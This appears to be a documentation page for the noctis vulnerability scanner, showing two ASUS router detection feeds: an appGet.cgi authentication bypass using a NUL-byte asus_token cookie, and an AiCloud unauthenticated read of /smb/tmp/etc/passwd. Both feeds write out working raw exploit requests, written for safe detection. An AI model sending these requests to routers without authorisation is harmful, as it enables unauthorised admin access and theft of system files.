ASUS — 2 vulnerability checks

noctis ships 2 vulnerability checks for ASUS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ASUS GT-AC2900 Authentication Bypass

CVECVE-2021-32030
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/asus/CVE-2021-32030.yaml

Tests ASUS GT-AC2900 routers for the appGet.cgi authentication bypass. An unauthenticated request whose asus_token cookie begins with a NUL byte is accepted as an admin session on vulnerable firmware. The feed sends a benign get_cfg_clientlist() query with the NUL-byte token and confirms the privileged handler processed it by matching the genuine authenticated payload.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.0
  2. Checks bypass_resp.banner for HTTP/1\.[01] 200[\s\S]*get_cfg_clientlist[\s\S]*alias[\s\S]*model_name → finding QoD 75: appGet.cgi processed a NUL-token (unauthenticated) request and returned the privileged client list: …

References:

Feed source — tests/vulnerabilities/asus/CVE-2021-32030.yaml
# ASUS GT-AC2900 Authentication Bypass — CVE-2021-32030
#
# The router web interface (httpd) authenticates administrative API calls on
# appGet.cgi by comparing the `asus_token` cookie against the active session
# token. On vulnerable firmware a token whose value begins with a NUL byte is
# mishandled by the string comparison, so an unauthenticated request carrying
# `asus_token=\0<junk>` is accepted as an authenticated admin session. The
# request then reaches the privileged handler (e.g. get_cfg_clientlist()).
#
# Affected: ASUS GT-AC2900 (firmware before 3.0.0.4.386.42643). CISA KEV.
#
# Detection (safe, GET only):
#   Send the crafted NUL-token request to a benign admin query
#   (get_cfg_clientlist) and detect whether the request is PROCESSED by the
#   privileged handler (vulnerable -> HTTP 200 carrying the genuine
#   authenticated client-list payload: get_cfg_clientlist / alias /
#   model_name) or REJECTED (patched -> 401 / login, no privileged payload).
#   The detection keys on the genuine authenticated response content, never on
#   a fabricated marker. QoD 75 (response analysis).
uid: 92c5ec68-25b2-4120-be55-4904c6a56be5
name: "ASUS GT-AC2900 Authentication Bypass (CVE-2021-32030)"
description: |
  Tests ASUS GT-AC2900 routers for the appGet.cgi authentication bypass.
  An unauthenticated request whose asus_token cookie begins with a NUL byte is
  accepted as an admin session on vulnerable firmware. The feed sends a benign
  get_cfg_clientlist() query with the NUL-byte token and confirms the privileged
  handler processed it by matching the genuine authenticated payload.
cves: [CVE-2021-32030]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [asus, gt-ac2900, router, auth-bypass, appget, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-32030"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32030.yaml"

steps:
  # Crafted unauthenticated probe: asus_token begins with a NUL byte (the
  # bypass condition). %00 cannot survive reqwest header validation, so send a
  # verbatim HTTP/1.0 request over tcp_connect (auto-TLS on an https service).
  - id: bypass-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: asusrouter--\r\nReferer: http://{{target_host}}/\r\nCookie: asus_token=\x00Invalid; clickedItem_tab=0\r\nConnection: close\r\n\r\n"
    store_as: bypass_resp

  # Vulnerable firmware processes the request in the privileged handler and
  # returns HTTP 200 with the genuine client-list payload (get_cfg_clientlist,
  # alias, model_name). Patched firmware rejects it (401 / login) and those
  # fields never appear. Matching the authenticated content proves the bypass.
  - id: bypass-match
    action: match
    source: bypass_resp.banner
    pattern: "HTTP/1\\.[01] 200[\\s\\S]*get_cfg_clientlist[\\s\\S]*alias[\\s\\S]*model_name"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "appGet.cgi processed a NUL-token (unauthenticated) request and returned the privileged client list: {{bypass_resp.banner}}"
      stop: true

ASUS RT-series router AiCloud unauthenticated file read

CVECVE-2013-4937
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/asus/CVE-2013-4937.yaml

Tests the AiCloud web service of ASUS RT-series routers for unauthenticated access to the router's file system through its /smb/ WebDAV tree. The test sends one GET for /smb/tmp/etc/passwd without credentials and reports the router as vulnerable when the reply is HTTP 200 and contains a uid 0 / gid 0 passwd entry, which proves the system password file was read, and the same request for an absent file in a random missing directory gets an HTTP reply without one, so a server that answers every path with the same file is not reported. The account name and password field are redacted from the evidence. Fixed firmware asks for an AiCloud login instead.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /smb/tmp/etc/passwd HTTP/1.0
  2. Checks resp.banner for ^HTTP/1\.[01] 200[\s\S]*?\r?\n\r?\n[\s\S]*?(?m:^[A-Za-z0-9_.-]{1,32}:…
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /smb/tmp/noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks proof for ^<redacted>:<redacted>:0:0:<redacted>: → finding QoD 75: Unauthenticated GET /smb/tmp/etc/passwd returned the router's passwd file (the same request for an absent file did not); uid 0 entry: …

References:

Feed source — tests/vulnerabilities/asus/CVE-2013-4937.yaml
# ASUS RT-series AiCloud unauthenticated file read — CVE-2013-4937
#
# AiCloud (lighttpd + mod_smbdav, firmware before 3.0.4.372) serves a /smb/
# WebDAV tree that, without any login, maps /smb/tmp/ onto the router's own
# /tmp. AsusWRT keeps /etc as a symlink to /tmp/etc, so every generated system
# file (passwd, shadow, group, ...) can be downloaded with a plain GET.
# Affected: RT-AC66R/U, RT-N66R/U, RT-AC56U, RT-N56R/U, RT-N65U, RT-N14U,
# RT-N16(R), DSL-N55U. NVD only has a CVSS v2 score (10.0).
#
# Detection credit: Greenbone NVT 2013/gb_asus_rt_aicloud_dir_traversal_6_13.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103747, GPL-2.0-only), which reads
# /smb/tmp/etc/shadow on port 443 only, after seeing a 'Basic realm="RT-'
# header on the HTTP port.
#
# Deviations (improvements):
#   - Reads /smb/tmp/etc/passwd instead of shadow: same directory, same bug,
#     but no password hash is pulled off the target. AsusWRT writes passwd as
#     "<admin login>:x:0:0:<admin login>:/root:/bin/sh" (rc/services.c
#     setup_passwd()), so the uid-0 line is a reliable content proof.
#   - Runs on whatever http/https port AiCloud was discovered on (443 by
#     default, custom ports too) and does not need the router's own admin page
#     to be reachable with a "RT-" Basic realm — the NASL misses AiCloud on a
#     non-443 port and on routers whose LAN admin page is not exposed.
#   - Absent-file control: after a hit, /smb/tmp/noctis-absent-<random>/etc/passwd
#     is requested and the finding is raised only when that control gets an
#     HTTP reply without a uid-0 passwd line — a server returning passwd for
#     every path is not reported (fails closed when the control gets no reply).
#   - The uid-0 line is redacted before it becomes evidence: the login name
#     (also in the gecos field) and any inline hash never reach the finding.
uid: cdd1e34c-e310-4977-bbc0-6cd3265222ca
name: "ASUS RT-series router AiCloud unauthenticated file read (CVE-2013-4937)"
description: |
  Tests the AiCloud web service of ASUS RT-series routers for unauthenticated
  access to the router's file system through its /smb/ WebDAV tree. The test
  sends one GET for /smb/tmp/etc/passwd without credentials and reports the
  router as vulnerable when the reply is HTTP 200 and contains a uid 0 / gid 0
  passwd entry, which proves the system password file was read, and the same
  request for an absent file in a random missing directory gets an HTTP reply
  without one, so a server that answers every path with the same file is not
  reported. The account
  name and password field are redacted from the evidence. Fixed firmware asks
  for an AiCloud login instead.
cves: [CVE-2013-4937]
cvss: 10.0
severity: critical
confidence_base: 0.25
category: file-read
tags: [asus, router, aicloud, file-read, path-traversal, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-4937"
  - "https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/rc/services.c"

steps:
  - id: init
    action: set_var
    var_name: proof
    var_value: ""

  # Plain unauthenticated GET; tcp_connect wraps TLS itself on an https service.
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /smb/tmp/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # No on_match: the raw line carries the admin login name and must not become
  # evidence. Capture only home:shell of the uid-0 / gid-0 entry.
  - id: passwd-line
    action: match
    source: resp.banner
    pattern: "^HTTP/1\\.[01] 200[\\s\\S]*?\\r?\\n\\r?\\n[\\s\\S]*?(?m:^[A-Za-z0-9_.-]{1,32}:[^:\\r\\n]*:0:0:[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n]*)\\r?$)"
    store_as: m

  - id: redact
    action: script
    code: |
      if m.matched && m.captures.len() > 0 {
        "<redacted>:<redacted>:0:0:<redacted>:" + m.captures[0]
      } else { "" }
    store_as: proof

  # ── Control: absent file in a random missing directory ──────────────────
  # Still ends in etc/passwd, so a honeypot keyed on that name answers it too.
  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: read-control
    action: tcp_connect
    condition: 'proof != ""'
    port: "{{port}}"
    send: "GET /smb/tmp/noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: ctrl_resp

  # Fail closed: the control must have answered over HTTP, without a uid-0 line.
  - id: control-verdict
    action: script
    condition: 'proof != ""'
    code: |
      let b = ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("(?m)^[^:\\r\\n]{1,32}:[^:\\r\\n]*:0:0:", b)
    store_as: ctrl_clean

  - id: report
    action: match
    source: proof
    pattern: "^<redacted>:<redacted>:0:0:<redacted>:"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated GET /smb/tmp/etc/passwd returned the router's passwd file (the same request for an absent file did not); uid 0 entry: {{proof}}"
      stop: true

View these feeds on GitHub